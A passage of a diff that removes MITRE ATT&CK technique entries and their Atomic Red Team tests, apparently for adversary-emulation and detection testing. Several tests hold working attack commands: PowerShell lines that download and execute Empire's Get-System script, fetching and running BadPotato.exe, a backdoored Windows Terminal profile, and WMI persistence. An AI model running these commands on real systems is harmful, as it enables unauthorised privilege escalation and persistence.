"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", - "type": "attack-pattern", - "created": "2020-01-14T01:27:31.344Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.002", - "url": "https://attack.mitre.org/techniques/T1055/002" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2021-10-18T12:21:11.178Z", - "name": "Portable Executable Injection", - "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Access", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1547.015": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", - "type": "attack-pattern", - "created": "2021-10-05T21:26:15.081Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.015", - "url": "https://attack.mitre.org/techniques/T1547/015" - }, - { - "source_name": "Open Login Items Apple", - "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac", - "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021." - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", - "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", - "source_name": "Adding Login Items" - }, - { - "source_name": "SMLoginItemSetEnabled Schroeder 2013", - "url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/", - "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021." - }, - { - "source_name": "Launch Services Apple Developer", - "url": "https://developer.apple.com/documentation/coreservices/launch_services", - "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021." - }, - { - "source_name": "ELC Running at startup", - "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/", - "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021." - }, - { - "source_name": "Login Items AE", - "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788", - "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021." - }, - { - "source_name": "Startup Items Eclectic", - "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/", - "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021." - }, - { - "source_name": "hexed osx.dok analysis 2019", - "url": "http://www.hexed.in/2019/07/osxdok-analysis.html", - "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021." - }, - { - "source_name": "Add List Remove Login Items Apple Script", - "url": "https://gist.github.com/kaloprominat/6111584", - "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021." - }, - { - "url": "https://objective-see.com/blog/blog_0x25.html", - "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", - "source_name": "objsee mac malware 2017" - }, - { - "source_name": "CheckPoint Dok", - "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", - "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021." - }, - { - "source_name": "objsee netwire backdoor 2019", - "url": "https://objective-see.com/blog/blog_0x44.html", - "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021." - }, - { - "source_name": "objsee block blocking login items", - "url": "https://objective-see.com/blog/blog_0x31.html", - "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021." - }, - { - "source_name": "sentinelone macos persist Jun 2019", - "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", - "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019." - }, - { - "source_name": "Launch Service Keys Developer Apple", - "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1", - "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021." - } - ], - "modified": "2021-10-18T16:36:37.042Z", - "name": "Boot or Logon Autostart Execution: Login Items", - "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1547.015" - }, - "atomic_tests": [ - { - "name": "Persistence by modifying Windows Terminal profile", - "auto_generated_guid": "ec5d76ef-82fe-48da-b931-bdb25a62bc65", - "description": "Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "calculator": { - "description": "Test program used to imitate a maliciously called program.", - "type": "string", - "default": "calculator.exe" - }, - "settings_json_def": { - "description": "Default file for Windows Terminal to replace the default profile with a backdoor to call another program.", - "type": "path", - "default": "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json" - }, - "settings_json_tmp": { - "description": "Temp file for Windows Terminal.", - "type": "path", - "default": "~\\AppData\\Local\\Temp\\settings.json" - }, - "wt_exe": { - "description": "Windows Terminal executable.", - "type": "path", - "default": "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Windows Terminal must be installed\n", - "prereq_command": "if (Test-Path #{wt_exe}) {exit 0} else {exit 1}\n", - "get_prereq_command": "$(rm ~\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\StoreEdgeFD\\installed.db -ErrorAction Ignore; Write-Output \"\"; $?) -and $(winget install --id=Microsoft.WindowsTerminal)\n" - } - ], - "executor": { - "command": "mv #{settings_json_def} #{settings_json_tmp}\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\" -OutFile \"#{settings_json_def}\"\nwt.exe\n", - "cleanup_command": "mv -Force #{settings_json_tmp} #{settings_json_def}\ntaskkill /F /IM \"#{calculator}\" > $null\n", - "name": "powershell" - } - } - ] - }, - "T1134.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", - "type": "attack-pattern", - "created": "2020-02-18T16:39:06.289Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.001", - "url": "https://attack.mitre.org/techniques/T1134/001" - }, - { - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", - "source_name": "Microsoft Command-line Logging" - } - ], - "modified": "2020-03-26T21:29:18.608Z", - "name": "Access Token Manipulation: Token Impersonation/Theft", - "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "System access controls", - "File system access controls" - ], - "identifier": "T1134.001" - }, - "atomic_tests": [ - { - "name": "Named pipe client impersonation", - "auto_generated_guid": "90db9e27-8e7c-4c04-b602-a45927884966", - "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).\n\nReference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "`SeDebugPrivilege` token duplication", - "auto_generated_guid": "34f0a430-9d04-4d98-bcb5-1989f14719f0", - "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Launch NSudo Executable", - "auto_generated_guid": "7be1bc0f-d8e5-4345-9333-f5f67d742cb9", - "description": "Launches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "nsudo_path": { - "description": "Path to the NSudo bat file", - "type": "path", - "default": "$env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "NSudo.bat must exist in the specified path #{nsudo_path}\n", - "prereq_command": "if (Test-Path #{nsudo_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\NSudo_8.2_All_Components.zip \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path $env:TEMP\\NSudo_8.2_All_Components.zip -DestinationPath $env:TEMP\\NSudo_8.2_All_Components -Force\nRename-Item \"$env:TEMP\\NSudo_8.2_All_Components\\NSudo Launcher\" $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\nRemove-Item $env:TEMP\\NSudo_8.2_All_Components.zip -Recurse -ErrorAction Ignore\n" - } - ], - "executor": { - "command": "Start-Process #{nsudo_path} -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n", - "name": "powershell" - } - }, - { - "name": "Bad Potato", - "auto_generated_guid": "9c6d799b-c111-4749-a42f-ec2f8cb51448", - "description": "https://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections", - "supported_platforms": [ - "windows" - ], - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "BadPotato.exe must exist in the temp directory\n", - "prereq_command": "if (Test-Path $env:temp\\BadPotato.exe) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\BadPotato.exe \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n" - } - ], - "executor": { - "command": "cd $env:temp\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n", - "cleanup_command": "taskkill /f /im notepad.exe\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1134.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", - "type": "attack-pattern", - "created": "2020-02-18T18:03:37.481Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.003", - "url": "https://attack.mitre.org/techniques/T1134/003" - }, - { - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", - "source_name": "Microsoft Command-line Logging" - } - ], - "modified": "2020-02-18T18:03:37.481Z", - "name": "Make and Impersonate Token", - "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "System access controls", - "File system access controls" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1053.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", - "type": "attack-pattern", - "created": "2019-12-03T14:15:27.452Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.004", - "url": "https://attack.mitre.org/techniques/T1053/004" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", - "source_name": "AppleDocs Launch Agent Daemons" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - } - ], - "modified": "2021-10-07T21:38:03.610Z", - "name": "Launchd", - "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_is_subtechnique": true, - "x_mitre_deprecated": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1546.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Brent Murphy, Elastic", - "David French, Elastic" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", - "created": "2020-01-24T14:07:56.276Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.003", - "url": "https://attack.mitre.org/techniques/T1546/003" - }, - { - "source_name": "FireEye WMI 2015", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", - "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016." - }, - { - "source_name": "Dell WMI Persistence", - "url": "https://www.secureworks.com/blog/wmi-persistence", - "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016." - }, - { - "source_name": "FireEye WMI SANS 2015", - "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf", - "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020." - }, - { - "source_name": "Medium Detecting WMI Persistence", - "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96", - "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019." - }, - { - "source_name": "Elastic - Hunting for Persistence Part 1", - "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1", - "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020." - }, - { - "source_name": "Mandiant M-Trends 2015", - "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", - "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016." - }, - { - "source_name": "Microsoft Register-WmiEvent", - "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1", - "description": "Microsoft. (n.d.). Retrieved January 24, 2020." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "source_name": "Microsoft MOF May 2018", - "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-", - "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", - "modified": "2022-04-20T17:01:37.760Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Event Triggered Execution: Windows Management Instrumentation Event Subscription", - "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "WMI: WMI Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1546.003" - }, - "atomic_tests": [ - { - "name": "Persistence via WMI Event Subscription - CommandLineEventConsumer", - "auto_generated_guid": "3c64f177-28e2-49eb-a799-d767b24dd1e0", - "description": "Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af\n\nhttps://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n EventNameSpace='root\\CimV2';\n QueryLanguage=\"WQL\";\n Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n CommandLineTemplate=\"$($Env:SystemRoot)\\System32\\notepad.exe\";}\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property 